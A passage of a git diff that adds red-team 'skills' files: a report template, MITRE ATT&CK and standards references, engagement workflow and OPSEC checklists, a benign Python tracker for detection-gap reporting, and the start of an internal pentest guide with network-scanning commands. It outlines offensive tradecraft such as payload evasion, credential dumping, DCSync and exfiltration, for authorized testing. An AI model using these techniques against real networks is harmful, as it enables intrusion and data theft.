Achieved | DCSync of krbtgt hash | +| PII Data Exfiltration | Achieved | 50MB exfiled over C2 | +| SCADA Network Access | Not Achieved | Network segmentation prevented access | + +--- + +## 4. MITRE ATT&CK Mapping + +### 4.1 Technique Heat Map + +[Insert ATT&CK Navigator layer screenshot] + +Navigator JSON file: `engagement_navigator.json` + +### 4.2 Techniques Used + +| Technique ID | Technique Name | Tactic | Used | Detected | +|---|---|---|---|---| +| T1566.001 | Spearphishing Attachment | Initial Access | Yes | Yes | +| T1059.001 | PowerShell | Execution | Yes | No | +| T1003.001 | LSASS Memory | Credential Access | Yes | Yes | +| T1558.003 | Kerberoasting | Credential Access | Yes | No | +| T1021.002 | SMB Admin Shares | Lateral Movement | Yes | No | +| T1003.006 | DCSync | Credential Access | Yes | Yes | +| T1041 | Exfil Over C2 Channel | Exfiltration | Yes | No | + +--- + +## 5. Findings + +### Finding 1: [Title] + +| Field | Value | +|---|---| +| Severity | Critical | +| CVSS Score | 9.8 | +| Affected Systems | [list] | +| MITRE ATT&CK | [technique ID] | + +**Description:** [Detailed description of the vulnerability or gap] + +**Evidence:** [Screenshots, logs, proof of exploitation] + +**Impact:** [Business impact assessment] + +**Recommendation:** [Specific remediation steps] + +--- + +## 6. Detection Gap Analysis + +### 6.1 Summary + +| Category | Count | Percentage | +|---|---|---| +| Actions Detected | X | XX% | +| Actions Undetected | X | XX% | +| Techniques with Zero Coverage | X | - | + +### 6.2 Gaps by Tactic + +| Tactic | Actions | Detected | Gap | +|---|---|---|---| +| Initial Access | X | X | XX% | +| Execution | X | X | XX% | +| Persistence | X | X | XX% | +| Credential Access | X | X | XX% | +| Lateral Movement | X | X | XX% | +| Exfiltration | X | X | XX% | + +### 6.3 Priority Detection Rules Needed + +1. **[Detection Rule Name]** - Detect [technique] via [data source] +2. **[Detection Rule Name]** - Detect [technique] via [data source] +3. **[Detection Rule Name]** - Detect [technique] via [data source] + +--- + +## 7. Recommendations + +### 7.1 Immediate (0-30 days) +1. [Critical remediation action] +2. [Critical remediation action] + +### 7.2 Short-Term (30-90 days) +1. [High-priority improvement] +2. [High-priority improvement] + +### 7.3 Long-Term (90-180 days) +1. [Strategic improvement] +2. [Strategic improvement] + +--- + +## 8. Appendices + +### Appendix A: Tools Used +| Tool | Purpose | Version | +|---|---|---| +| Havoc | C2 Framework | 0.7 | +| Impacket | AD Attacks | 0.11.0 | +| Rubeus | Kerberos Attacks | 2.3.0 | +| BloodHound | AD Reconnaissance | 4.3 | + +### Appendix B: IOCs for Deconfliction +| Type | Value | Context | +|---|---|---| +| IP | X.X.X.X | C2 Server | +| Domain | c2.example.com | C2 Domain | +| Hash | [SHA256] | Payload | +| User-Agent | [string] | C2 Callback | + +### Appendix C: Cleanup Confirmation +- [ ] All implants removed +- [ ] All persistence mechanisms removed +- [ ] All created accounts deleted +- [ ] All modified configurations restored +- [ ] Infrastructure decommissioned diff --git a/skills/conducting-full-scope-red-team-engagement/references/standards.md b/skills/conducting-full-scope-red-team-engagement/references/standards.md new file mode 100644 index 00000000..f11f4162 --- /dev/null +++ b/skills/conducting-full-scope-red-team-engagement/references/standards.md @@ -0,0 +1,106 @@ +# Standards and References: Full-Scope Red Team Engagement + +## MITRE ATT&CK Techniques + +### Reconnaissance (TA0043) +- **T1593** - Search Open Websites/Domains +- **T1593.001** - Social Media +- **T1593.002** - Search Engines +- **T1589** - Gather Victim Identity Information +- **T1589.001** - Credentials +- **T1589.002** - Email Addresses +- **T1590** - Gather Victim Network Information +- **T1590.002** - DNS +- **T1590.005** - IP Addresses +- **T1591** - Gather Victim Org Information + +### Resource Development (TA0042) +- **T1583.001** - Acquire Infrastructure: Domains +- **T1583.003** - Acquire Infrastructure: Virtual Private Server +- **T1587.001** - Develop Capabilities: Malware +- **T1587.003** - Develop Capabilities: Digital Certificates +- **T1608.001** - Stage Capabilities: Upload Malware + +### Initial Access (TA0001) +- **T1566.001** - Phishing: Spearphishing Attachment +- **T1566.002** - Phishing: Spearphishing Link +- **T1190** - Exploit Public-Facing Application +- **T1078** - Valid Accounts +- **T1133** - External Remote Services +- **T1195.002** - Supply Chain Compromise: Compromise Software Supply Chain + +### Execution (TA0002) +- **T1059.001** - Command and Scripting Interpreter: PowerShell +- **T1059.003** - Command and Scripting Interpreter: Windows Command Shell +- **T1204.001** - User Execution: Malicious Link +- **T1204.002** - User Execution: Malicious File +- **T1047** - Windows Management Instrumentation + +### Persistence (TA0003) +- **T1053.005** - Scheduled Task/Job: Scheduled Task +- **T1547.001** - Boot or Logon Autostart Execution: Registry Run Keys +- **T1136.001** - Create Account: Local Account +- **T1098** - Account Manipulation + +### Privilege Escalation (TA0004) +- **T1068** - Exploitation for Privilege Escalation +- **T1548.002** - Abuse Elevation Control Mechanism: Bypass User Account Control +- **T1134** - Access Token Manipulation + +### Defense Evasion (TA0005) +- **T1055** - Process Injection +- **T1027** - Obfuscated Files or Information +- **T1562.001** - Impair Defenses: Disable or Modify Tools +- **T1070.004** - Indicator Removal: File Deletion + +### Credential Access (TA0006) +- **T1003.001** - OS Credential Dumping: LSASS Memory +- **T1003.006** - OS Credential Dumping: DCSync +- **T1558.003** - Steal or Forge Kerberos Tickets: Kerberoasting +- **T1110** - Brute Force + +### Discovery (TA0007) +- **T1087.002** - Account Discovery: Domain Account +- **T1018** - Remote System Discovery +- **T1069.002** - Permission Groups Discovery: Domain Groups +- **T1082** - System Information Discovery + +### Lateral Movement (TA0008) +- **T1021.002** - Remote Services: SMB/Windows Admin Shares +- **T1021.001** - Remote Services: Remote Desktop Protocol +- **T1550.002** - Use Alternate Authentication Material: Pass the Hash +- **T1047** - Windows Management Instrumentation + +### Collection (TA0009) +- **T1560** - Archive Collected Data +- **T1213** - Data from Information Repositories + +### Exfiltration (TA0010) +- **T1041** - Exfiltration Over C2 Channel +- **T1048.003** - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol + +## NIST References + +- **NIST SP 800-115** - Technical Guide to Information Security Testing and Assessment +- **NIST SP 800-53 Rev. 5** - Security and Privacy Controls (CA-8: Penetration Testing) +- **NIST SP 800-53A** - Assessing Security and Privacy Controls (CA-8 assessment procedures) +- **NIST CSF 2.0** - Identify, Protect, Detect, Respond, Recover functions + +## Industry Frameworks + +- **PTES** - Penetration Testing Execution Standard (Pre-engagement, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post-Exploitation, Reporting) +- **OSSTMM** - Open Source Security Testing Methodology Manual v3 +- **TIBER-EU** - European Central Bank Threat Intelligence-Based Ethical Red Teaming +- **CBEST** - Bank of England intelligence-led penetration testing framework +- **CREST** - Council of Registered Ethical Security Testers certification standards +- **STAR** - Simulated Targeted Attack and Response (Bank of Canada) + +## Compliance Alignments + +| Framework | Control | Description | +|---|---|---| +| PCI DSS 4.0 | 11.4 | External and internal penetration testing | +| SOC 2 | CC7.1 | Identification and management of vulnerabilities | +| ISO 27001 | A.18.2.3 | Technical compliance review | +| HIPAA | 164.308(a)(8) | Evaluation of security measures | +| FFIEC | IS.2.M.7 | Penetration testing program | diff --git a/skills/conducting-full-scope-red-team-engagement/references/workflows.md b/skills/conducting-full-scope-red-team-engagement/references/workflows.md new file mode 100644 index 00000000..8ae590a9 --- /dev/null +++ b/skills/conducting-full-scope-red-team-engagement/references/workflows.md @@ -0,0 +1,131 @@ +# Workflows: Full-Scope Red Team Engagement + +## Engagement Lifecycle Workflow + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ RED TEAM ENGAGEMENT LIFECYCLE │ +├─────────────────────────────────────────────────────────────────┤ +│ │ +│ 1. SCOPING & PLANNING │ +│ ├── Define Rules of Engagement (RoE) │ +│ ├── Identify threat actors to emulate │ +│ ├── Define objectives and success criteria │ +│ ├── Establish communication channels and emergency stops │ +│ └── Legal authorization and sign-off │ +│ │ +│ 2. RECONNAISSANCE (2-4 weeks) │ +│ ├── Passive OSINT collection │ +│ │ ├── DNS enumeration (Amass, subfinder) │ +│ │ ├── Email harvesting (theHarvester) │ +│ │ ├── Social media profiling (LinkedIn, Twitter) │ +│ │ └── Credential breach searches (DeHashed) │ +│ ├── Active scanning (if in scope) │ +│ │ ├── Port/service scanning (Nmap) │ +│ │ ├── Web application discovery (Aquatone) │ +│ │ └── Vulnerability scanning (Nuclei) │ +│ └── Target prioritization matrix │ +│ │ +│ 3. WEAPONIZATION (1-2 weeks) │ +│ ├── Develop custom payloads │ +│ │ ├── Shellcode generation and encryption │ +│ │ ├── Loader development (C/C++, Rust, Nim) │ +│ │ └── Sandbox evasion techniques │ +│ ├── Configure C2 infrastructure │ +│ │ ├── Deploy team server (Havoc/Cobalt Strike) │ +│ │ ├── Set up HTTPS redirectors │ +│ │ ├── Configure domain fronting or CDN │ +│ │ └── Test beacon callbacks │ +│ └── Prepare phishing infrastructure │ +│ ├── Register look-alike domains │ +│ ├── Configure SPF/DKIM/DMARC │ +│ └── Design email templates │ +│ │ +│ 4. INITIAL ACCESS (1-2 weeks) │ +│ ├── Execute phishing campaign (T1566) │ +│ ├── Exploit external services (T1190) │ +│ ├── Credential stuffing/spraying (T1110) │ +│ ├── Supply chain vectors (T1195) │ +│ └── Physical access attempts (if in scope) │ +│ │ +│ 5. POST-EXPLOITATION (2-4 weeks) │ +│ ├── Establish persistence (T1053, T1547) │ +│ ├── Privilege escalation │ +│ │ ├── Local priv esc (T1068, T1548) │ +│ │ └── Domain priv esc (Kerberoasting, DCSync) │ +│ ├── Credential harvesting │ +│ │ ├── LSASS dump (T1003.001) │ +│ │ ├── SAM database (T1003.002) │ +│ │ └── Kerberos tickets (T1558) │ +│ ├── Lateral movement │ +│ │ ├── SMB (T1021.002) │ +│ │ ├── WMI (T1047) │ +│ │ ├── WinRM (T1021.006) │ +│ │ └── RDP (T1021.001) │ +│ └── Objective pursuit │ +│ ├── Crown jewel identification │ +│ ├── Data staging (T1074) │ +│ └── Exfiltration demonstration (T1041) │ +│ │ +│ 6. REPORTING & DEBRIEF (1-2 weeks) │ +│ ├── Attack narrative with timeline │ +│ ├── MITRE ATT&CK heat map │ +│ ├── Detection gap analysis │ +│ ├── Remediation recommendations │ +│ ├── Executive debrief presentation │ +│ └── Purple team follow-up sessions │ +│ │ +└─────────────────────────────────────────────────────────────────┘ +``` + +## Decision Tree: Initial Access Vector Selection + +``` +START: Select Initial Access Vector +│ +├── Is phishing in scope? +│ ├── YES → Target high-value employees +│ │ ├── C-suite → CEO fraud / whale phishing +│ │ ├── IT Staff → Credential harvesting +│ │ └── HR/Finance → Malicious attachment +│ └── NO → Proceed to external attack surface +│ +├── External-facing services found? +│ ├── VPN → Check for CVEs (Fortinet, Pulse Secure, Citrix) +│ ├── Exchange → ProxyShell/ProxyLogon +│ ├── Web Apps → OWASP Top 10, file upload, RCE +│ └── RDP → Brute force / credential stuffing +│ +└── Physical access in scope? + ├── Badge cloning (Proxmark3) + ├── Tailgating + └── Rogue device deployment (LAN Turtle) +``` + +## Operational Security (OPSEC) Checklist + +1. **Infrastructure Separation**: Separate attack infrastructure from assessment infrastructure +2. **Redirectors**: Use HTTPS redirectors between C2 and targets +3. **Domain Aging**: Register domains 30+ days before engagement +4. **Categorization**: Categorize phishing domains before use (Bluecoat, Fortiguard) +5. **Payload Testing**: Test payloads against VirusTotal alternatives (antiscan.me) +6. **Log Rotation**: Rotate and encrypt operational logs +7. **Clean-up**: Remove all implants and artifacts post-engagement +8. **Communication**: Use encrypted channels for team coordination (Signal, Keybase) + +## TTPs Execution Checklist + +| Phase | TTP | Tool | Status | +|---|---|---|---| +| Recon | T1593 - Open Website Search | Amass, Recon-ng | [ ] | +| Recon | T1589 - Victim Identity Info | theHarvester, LinkedIn | [ ] | +| Initial Access | T1566.001 - Spearphishing | GoPhish, custom | [ ] | +| Execution | T1059.001 - PowerShell | Custom stager | [ ] | +| Persistence | T1053.005 - Scheduled Task | schtasks.exe | [ ] | +| Priv Esc | T1558.003 - Kerberoasting | Rubeus | [ ] | +| Defense Evasion | T1055 - Process Injection | Custom loader | [ ] | +| Credential Access | T1003.001 - LSASS Memory | Mimikatz/SafetyKatz | [ ] | +| Discovery | T1087.002 - Domain Account Discovery | BloodHound/SharpHound | [ ] | +| Lateral Movement | T1021.002 - SMB/Admin Shares | PsExec, wmiexec | [ ] | +| Collection | T1560 - Archive Data | 7-Zip, tar | [ ] | +| Exfiltration | T1041 - Exfil Over C2 | Havoc/CS download | [ ] | diff --git a/skills/conducting-full-scope-red-team-engagement/scripts/process.py b/skills/conducting-full-scope-red-team-engagement/scripts/process.py new file mode 100644 index 00000000..fd29d06d --- /dev/null +++ b/skills/conducting-full-scope-red-team-engagement/scripts/process.py @@ -0,0 +1,512 @@ +#!/usr/bin/env python3 +""" +Red Team Engagement Tracker and Reporter + +Tracks red team activities, maps them to MITRE ATT&CK techniques, +and generates engagement reports with detection gap analysis. +""" + +import json +import csv +import os +import hashlib +from datetime import datetime, timedelta +from typing import Optional +from dataclasses import dataclass, field, asdict + + +@dataclass +class RedTeamAction: + """Represents a single red team action during an engagement.""" + timestamp: str + phase: str + mitre_tactic: str + mitre_technique_id: str + mitre_technique_name: str + description: str + target_host: str + tool_used: str + outcome: str # success, failure, partial + detected: bool = False + detection_time: Optional[str] = None + detection_source: Optional[str] = None + evidence_path: Optional[str] = None + operator: str = "" + notes: str = "" + + +@dataclass +class EngagementConfig: + """Configuration for a red team engagement.""" + engagement_id: str + client_name: str + start_date: str + end_date: str + scope: list = field(default_factory=list) + out_of_scope: list = field(default_factory=list) + objectives: list = field(default_factory=list) + threat_profile: str = "" + emergency_contact: str = "" + roe_version: str = "" + + +MITRE_TACTICS = { + "TA0043": "Reconnaissance", + "TA0042": "Resource Development", + "TA0001": "Initial Access", + "TA0002": "Execution", + "TA0003": "Persistence", + "TA0004": "Privilege Escalation", + "TA0005": "Defense Evasion", + "TA0006": "Credential Access", + "TA0007": "Discovery", + "TA0008": "Lateral Movement", + "TA0009": "Collection", + "TA0010": "Exfiltration", + "TA0011": "Command and Control", + "TA0040": "Impact", +} + +COMMON_TECHNIQUES = { + "T1566.001": {"name": "Phishing: Spearphishing Attachment", "tactic": "TA0001"}, + "T1566.002": {"name": "Phishing: Spearphishing Link", "tactic": "TA0001"}, + "T1190": {"name": "Exploit Public-Facing Application", "tactic": "TA0001"}, + "T1078": {"name": "Valid Accounts", "tactic": "TA0001"}, + "T1059.001": {"name": "PowerShell", "tactic": "TA0002"}, + "T1059.003": {"name": "Windows Command Shell", "tactic": "TA0002"}, + "T1047": {"name": "Windows Management Instrumentation", "tactic": "TA0002"}, + "T1053.005": {"name": "Scheduled Task", "tactic": "TA0003"}, + "T1547.001": {"name": "Registry Run Keys", "tactic": "TA0003"}, + "T1068": {"name": "Exploitation for Privilege Escalation", "tactic": "TA0004"}, + "T1548.002": {"name": "Bypass User Account Control", "tactic": "TA0004"}, + "T1055": {"name": "Process Injection", "tactic": "TA0005"}, + "T1027": {"name": "Obfuscated Files or Information", "tactic": "TA0005"}, + "T1562.001": {"name": "Disable or Modify Tools", "tactic": "TA0005"}, + "T1003.001": {"name": "LSASS Memory", "tactic": "TA0006"}, + "T1003.006": {"name": "DCSync", "tactic": "TA0006"}, + "T1558.003": {"name": "Kerberoasting", "tactic": "TA0006"}, + "T1087.002": {"name": "Domain Account Discovery", "tactic": "TA0007"}, + "T1018": {"name": "Remote System Discovery", "tactic": "TA0007"}, + "T1082": {"name": "System Information Discovery", "tactic": "TA0007"}, + "T1021.002": {"name": "SMB/Windows Admin Shares", "tactic": "TA0008"}, + "T1021.001": {"name": "Remote Desktop Protocol", "tactic": "TA0008"}, + "T1550.002": {"name": "Pass the Hash", "tactic": "TA0008"}, + "T1560": {"name": "Archive Collected Data", "tactic": "TA0009"}, + "T1041": {"name": "Exfiltration Over C2 Channel", "tactic": "TA0010"}, + "T1048.003": {"name": "Exfiltration Over Unencrypted Non-C2 Protocol", "tactic": "TA0010"}, + "T1486": {"name": "Data Encrypted for Impact", "tactic": "TA0040"}, +} + + +class RedTeamEngagementTracker: + """Tracks and reports on red team engagement activities.""" + + def __init__(self, config: EngagementConfig, output_dir: str = "./engagement_output"): + self.config = config + self.actions: list[RedTeamAction] = [] + self.output_dir = output_dir + os.makedirs(output_dir, exist_ok=True) + + def log_action(self, action: RedTeamAction) -> None: + """Log a red team action.""" + self.actions.append(action) + self._append_to_log(action) + print(f"[+] Logged: {action.mitre_technique_id} - {action.description}") + + def _append_to_log(self, action: RedTeamAction) -> None: + """Append action to engagement log file.""" + log_path = os.path.join(self.output_dir, f"{self.config.engagement_id}_log.jsonl") + with open(log_path, "a") as f: + f.write(json.dumps(asdict(action)) + "\n") + + def calculate_metrics(self) -> dict: + """Calculate engagement metrics including MTTD, MTTR, and detection coverage.""" + total_actions = len(self.actions) + detected_actions = [a for a in self.actions if a.detected] + successful_actions = [a for a in self.actions if a.outcome == "success"] + + # Calculate Mean Time to Detect (MTTD) + detection_deltas = [] + for action in detected_actions: + if action.detection_time and action.timestamp: + action_time = datetime.fromisoformat(action.timestamp) + detect_time = datetime.fromisoformat(action.detection_time) + delta = (detect_time - action_time).total_seconds() / 3600 # hours + detection_deltas.append(delta) + + mttd_hours = sum(detection_deltas) / len(detection_deltas) if detection_deltas else None + + # Calculate TTP coverage + unique_techniques = set(a.mitre_technique_id for a in self.actions) + detected_techniques = set(a.mitre_technique_id for a in detected_actions) + ttp_coverage = ( + len(detected_techniques) / len(unique_techniques) * 100 + if unique_techniques + else 0 + ) + + # Tactic-level detection rates + tactic_stats = {} + for tactic_id, tactic_name in MITRE_TACTICS.items(): + tactic_actions = [a for a in self.actions if a.mitre_tactic == tactic_id] + tactic_detected = [a for a in tactic_actions if a.detected] + if tactic_actions: + tactic_stats[tactic_name] = { + "total": len(tactic_actions), + "detected": len(tactic_detected), + "rate": len(tactic_detected) / len(tactic_actions) * 100, + } + + # Objective completion + objectives_achieved = sum( + 1 for obj in self.config.objectives if obj.get("achieved", False) + ) + + return { + "engagement_id": self.config.engagement_id, + "total_actions": total_actions, + "successful_actions": len(successful_actions), + "success_rate": len(successful_actions) / total_actions * 100 if total_actions else 0, + "detected_actions": len(detected_actions), + "detection_rate": len(detected_actions) / total_actions * 100 if total_actions else 0, + "mttd_hours": mttd_hours, + "unique_techniques_used": len(unique_techniques), + "unique_techniques_detected": len(detected_techniques), + "ttp_coverage_pct": ttp_coverage, + "tactic_detection_rates": tactic_stats, + "objectives_total": len(self.config.objectives), + "objectives_achieved": objectives_achieved, + "undetected_techniques": list(unique_techniques - detected_techniques), + } + + def generate_attack_heatmap(self) -> dict: + """Generate MITRE ATT&CK heatmap data for Navigator.""" + techniques = {} + for action in self.actions: + tid = action.mitre_technique_id + if tid not in techniques: + techniques[tid] = { + "techniqueID": tid, + "score": 0, + "color": "", + "comment": "", + "metadata": [], + } + techniques[tid]["score"] += 1 + if action.detected: + techniques[tid]["color"] = "#ff6666" # Red for detected + techniques[tid]["comment"] += f"DETECTED by {action.detection_source}; " + else: + techniques[tid]["color"] = "#66ff66" # Green for undetected + techniques[tid]["comment"] += f"UNDETECTED: {action.description}; " + + navigator_layer = { + "name": f"Red Team - {self.config.engagement_id}", + "versions": {"attack": "14", "navigator": "4.9.1", "layer": "4.5"}, + "domain": "enterprise-attack", + "description": f"Red team engagement for {self.config.client_name}", + "techniques": list(techniques.values()), + "gradient": { + "colors": ["#66ff66", "#ffff66", "#ff6666"], + "minValue": 0, + "maxValue": 5, + }, + } + + output_path = os.path.join( + self.output_dir, f"{self.config.engagement_id}_navigator.json" + ) + with open(output_path, "w") as f: + json.dump(navigator_layer, f, indent=2) + + print(f"[+] ATT&CK Navigator layer saved to: {output_path}") + return navigator_layer + + def generate_detection_gap_report(self) -> str: + """Generate a detection gap analysis report.""" + metrics = self.calculate_metrics() + lines = [] + lines.append("=" * 70) + lines.append("DETECTION GAP ANALYSIS REPORT") + lines.append(f"Engagement: {self.config.engagement_id}") + lines.append(f"Client: {self.config.client_name}") + lines.append(f"Period: {self.config.start_date} to {self.config.end_date}") + lines.append("=" * 70) + lines.append("") + lines.append(f"Overall Detection Rate: {metrics['detection_rate']:.1f}%") + lines.append(f"TTP Coverage: {metrics['ttp_coverage_pct']:.1f}%") + if metrics["mttd_hours"]: + lines.append(f"Mean Time to Detect: {metrics['mttd_hours']:.1f} hours") + lines.append("") + lines.append("-" * 70) + lines.append("TACTIC-LEVEL DETECTION RATES") + lines.append("-" * 70) + + for tactic_name, stats in metrics.get("tactic_detection_rates", {}).items(): + bar = "#" * int(stats["rate"] / 5) + "-" * (20 - int(stats["rate"] / 5)) + lines.append( + f" {tactic_name:<25} [{bar}] {stats['rate']:.0f}% " + f"({stats['detected']}/{stats['total']})" + ) + + lines.append("") + lines.append("-" * 70) + lines.append("UNDETECTED TECHNIQUES (GAPS)") + lines.append("-" * 70) + + for tid in metrics.get("undetected_techniques", []): + tech_info = COMMON_TECHNIQUES.get(tid, {}) + name = tech_info.get("name", "Unknown") + lines.append(f" [!] {tid} - {name}") + relevant_actions = [ + a for a in self.actions if a.mitre_technique_id == tid and not a.detected + ] + for action in relevant_actions: + lines.append(f" Tool: {action.tool_used} | Target: {action.target_host}") + + lines.append("") + lines.append("-" * 70) + lines.append("RECOMMENDATIONS") + lines.append("-" * 70) + + for tid in metrics.get("undetected_techniques", []): + tech_info = COMMON_TECHNIQUES.get(tid, {}) + name = tech_info.get("name", "Unknown") + lines.append(f" [{tid}] {name}") + if tid == "T1003.001": + lines.append(" -> Enable Credential Guard and LSASS protection") + lines.append(" -> Deploy Sysmon with EventID 10 (ProcessAccess) rules") + elif tid == "T1558.003": + lines.append(" -> Use Group Managed Service Accounts (gMSA)") + lines.append(" -> Monitor EventID 4769 for RC4 ticket requests") + elif tid == "T1055": + lines.append(" -> Deploy EDR with memory scanning capabilities") + lines.append(" -> Monitor for cross-process injection (Sysmon EventID 8)") + elif tid == "T1021.002": + lines.append(" -> Restrict lateral movement with Windows Firewall") + lines.append(" -> Monitor for EventID 5140/5145 (network share access)") + elif tid == "T1550.002": + lines.append(" -> Enable Restricted Admin Mode for RDP") + lines.append(" -> Deploy Windows Defender Credential Guard") + else: + lines.append(" -> Review MITRE ATT&CK mitigations for this technique") + lines.append(" -> Create detection rule in SIEM for related events") + + report_text = "\n".join(lines) + + report_path = os.path.join( + self.output_dir, f"{self.config.engagement_id}_gap_report.txt" + ) + with open(report_path, "w") as f: + f.write(report_text) + + print(f"[+] Gap report saved to: {report_path}") + return report_text + + def export_timeline_csv(self) -> str: + """Export engagement timeline as CSV for analysis.""" + csv_path = os.path.join( + self.output_dir, f"{self.config.engagement_id}_timeline.csv" + ) + with open(csv_path, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow([ + "Timestamp", "Phase", "Tactic", "Technique ID", "Technique Name", + "Description", "Target", "Tool", "Outcome", "Detected", + "Detection Time", "Detection Source", "Operator", + ]) + for action in sorted(self.actions, key=lambda a: a.timestamp): + writer.writerow([ + action.timestamp, action.phase, action.mitre_tactic, + action.mitre_technique_id, action.mitre_technique_name, + action.description, action.target_host, action.tool_used, + action.outcome, action.detected, action.detection_time, + action.detection_source, action.operator, + ]) + + print(f"[+] Timeline CSV saved to: {csv_path}") + return csv_path + + def generate_executive_summary(self) -> str: + """Generate executive summary for leadership.""" + metrics = self.calculate_metrics() + summary = f""" +EXECUTIVE SUMMARY - RED TEAM ENGAGEMENT +======================================== +Engagement ID: {self.config.engagement_id} +Client: {self.config.client_name} +Period: {self.config.start_date} to {self.config.end_date} +Threat Profile: {self.config.threat_profile} + +KEY FINDINGS: +- {metrics['unique_techniques_used']} unique ATT&CK techniques were executed +- {metrics['detection_rate']:.0f}% of red team actions were detected by the SOC +- {metrics['ttp_coverage_pct']:.0f}% of techniques used had at least one detection +- {len(metrics.get('undetected_techniques', []))} technique(s) had ZERO detection coverage +- {metrics['objectives_achieved']}/{metrics['objectives_total']} engagement objectives achieved + +RISK RATING: {'CRITICAL' if metrics['detection_rate'] < 30 else 'HIGH' if metrics['detection_rate'] < 50 else 'MEDIUM' if metrics['detection_rate'] < 70 else 'LOW'} + +The red team {'successfully' if metrics['success_rate'] > 50 else 'partially'} achieved the defined objectives, +demonstrating that the organization's current security posture requires +{'immediate remediation' if metrics['detection_rate'] < 30 else 'significant improvement' if metrics['detection_rate'] < 50 else 'targeted improvements' if metrics['detection_rate'] < 70 else 'minor tuning'}. +""" + return summary + + +def main(): + """Demonstrate the engagement tracker with sample data.""" + config = EngagementConfig( + engagement_id="RT-2025-001", + client_name="Example Corp", + start_date="2025-01-15", + end_date="2025-02-15", + scope=["10.0.0.0/8", "*.example.com"], + out_of_scope=["10.0.99.0/24", "production-db.example.com"], + objectives=[ + {"name": "Achieve Domain Admin", "achieved": True}, + {"name": "Exfiltrate PII data", "achieved": True}, + {"name": "Access SCADA network", "achieved": False}, + ], + threat_profile="APT29 (Cozy Bear)", + emergency_contact="CISO: +1-555-0100", + ) + + tracker = RedTeamEngagementTracker(config) + + sample_actions = [ + RedTeamAction( + timestamp="2025-01-16T09:00:00", + phase="reconnaissance", + mitre_tactic="TA0043", + mitre_technique_id="T1593", + mitre_technique_name="Search Open Websites/Domains", + description="Subdomain enumeration using Amass", + target_host="example.com", + tool_used="Amass", + outcome="success", + detected=False, + operator="operator1", + ), + RedTeamAction( + timestamp="2025-01-20T14:30:00", + phase="initial_access", + mitre_tactic="TA0001", + mitre_technique_id="T1566.001", + mitre_technique_name="Spearphishing Attachment", + description="Sent phishing email with macro-enabled document to HR team", + target_host="mail.example.com", + tool_used="GoPhish", + outcome="success", + detected=True, + detection_time="2025-01-20T15:45:00", + detection_source="Proofpoint Email Gateway", + operator="operator1", + ), + RedTeamAction( + timestamp="2025-01-22T10:00:00", + phase="execution", + mitre_tactic="TA0002", + mitre_technique_id="T1059.001", + mitre_technique_name="PowerShell", + description="Executed PowerShell stager on workstation WS-042", + target_host="WS-042.example.com", + tool_used="Havoc C2", + outcome="success", + detected=False, + operator="operator2", + ), + RedTeamAction( + timestamp="2025-01-23T08:15:00", + phase="credential_access", + mitre_tactic="TA0006", + mitre_technique_id="T1003.001", + mitre_technique_name="LSASS Memory", + description="Dumped LSASS process memory using SafetyKatz", + target_host="WS-042.example.com", + tool_used="SafetyKatz", + outcome="success", + detected=True, + detection_time="2025-01-23T08:20:00", + detection_source="CrowdStrike Falcon", + operator="operator2", + ), + RedTeamAction( + timestamp="2025-01-24T11:00:00", + phase="credential_access", + mitre_tactic="TA0006", + mitre_technique_id="T1558.003", + mitre_technique_name="Kerberoasting", + description="Kerberoasted 15 service accounts using Rubeus", + target_host="DC01.example.com", + tool_used="Rubeus", + outcome="success", + detected=False, + operator="operator1", + ), + RedTeamAction( + timestamp="2025-01-25T14:00:00", + phase="lateral_movement", + mitre_tactic="TA0008", + mitre_technique_id="T1021.002", + mitre_technique_name="SMB/Windows Admin Shares", + description="Lateral movement to file server via PsExec", + target_host="FS01.example.com", + tool_used="Impacket PsExec", + outcome="success", + detected=False, + operator="operator2", + ), + RedTeamAction( + timestamp="2025-01-28T09:30:00", + phase="credential_access", + mitre_tactic="TA0006", + mitre_technique_id="T1003.006", + mitre_technique_name="DCSync", + description="DCSync to extract all domain password hashes", + target_host="DC01.example.com", + tool_used="Impacket secretsdump", + outcome="success", + detected=True, + detection_time="2025-01-28T10:15:00", + detection_source="Microsoft Defender for Identity", + operator="operator1", + ), + RedTeamAction( + timestamp="2025-01-30T16:00:00", + phase="exfiltration", + mitre_tactic="TA0010", + mitre_technique_id="T1041", + mitre_technique_name="Exfiltration Over C2 Channel", + description="Exfiltrated 50MB of staged PII data over C2 HTTPS", + target_host="FS01.example.com", + tool_used="Havoc C2", + outcome="success", + detected=False, + operator="operator2", + ), + ] + + for action in sample_actions: + tracker.log_action(action) + + print("\n" + "=" * 70) + print("GENERATING REPORTS") + print("=" * 70) + + tracker.generate_attack_heatmap() + tracker.export_timeline_csv() + print(tracker.generate_detection_gap_report()) + print(tracker.generate_executive_summary()) + + metrics = tracker.calculate_metrics() + metrics_path = os.path.join( + tracker.output_dir, f"{config.engagement_id}_metrics.json" + ) + with open(metrics_path, "w") as f: + json.dump(metrics, f, indent=2, default=str) + print(f"[+] Metrics saved to: {metrics_path}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-internal-network-penetration-test/SKILL.md b/skills/conducting-internal-network-penetration-test/SKILL.md new file mode 100644 index 00000000..6a6ab47e --- /dev/null +++ b/skills/conducting-internal-network-penetration-test/SKILL.md @@ -0,0 +1,278 @@ +--- +name: conducting-internal-network-penetration-test +description: Execute an internal network penetration test simulating an insider threat or post-breach attacker to identify lateral movement paths, privilege escalation vectors, and sensitive data exposure within the corporate network. +domain: cybersecurity +subdomain: penetration-testing +tags: [internal-pentest, lateral-movement, privilege-escalation, Responder, Impacket, assumed-breach, network-security] +version: "1.0" +author: mahipal +license: MIT +--- + +# Conducting Internal Network Penetration Test + +## Overview + +An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint. + +## Prerequisites + +- Signed Rules of Engagement with internal network scope +- Network access: physical Ethernet drop or VPN connection to internal VLAN +- Standard domain user credentials (assumed breach model) or unauthenticated access +- Testing laptop with Kali Linux, Impacket, Responder, BloodHound +- Coordination with IT/SOC for monitoring and emergency contacts + +## Phase 1 — Network Discovery and Enumeration + +### Initial Network Reconnaissance + +```bash +# Identify your own network position +ip addr show +ip route show +cat /etc/resolv.conf + +# ARP scan for live hosts on local subnet +arp-scan --localnet --interface eth0 + +# Nmap host discovery across internal ranges +nmap -sn 10.0.0.0/8 --exclude 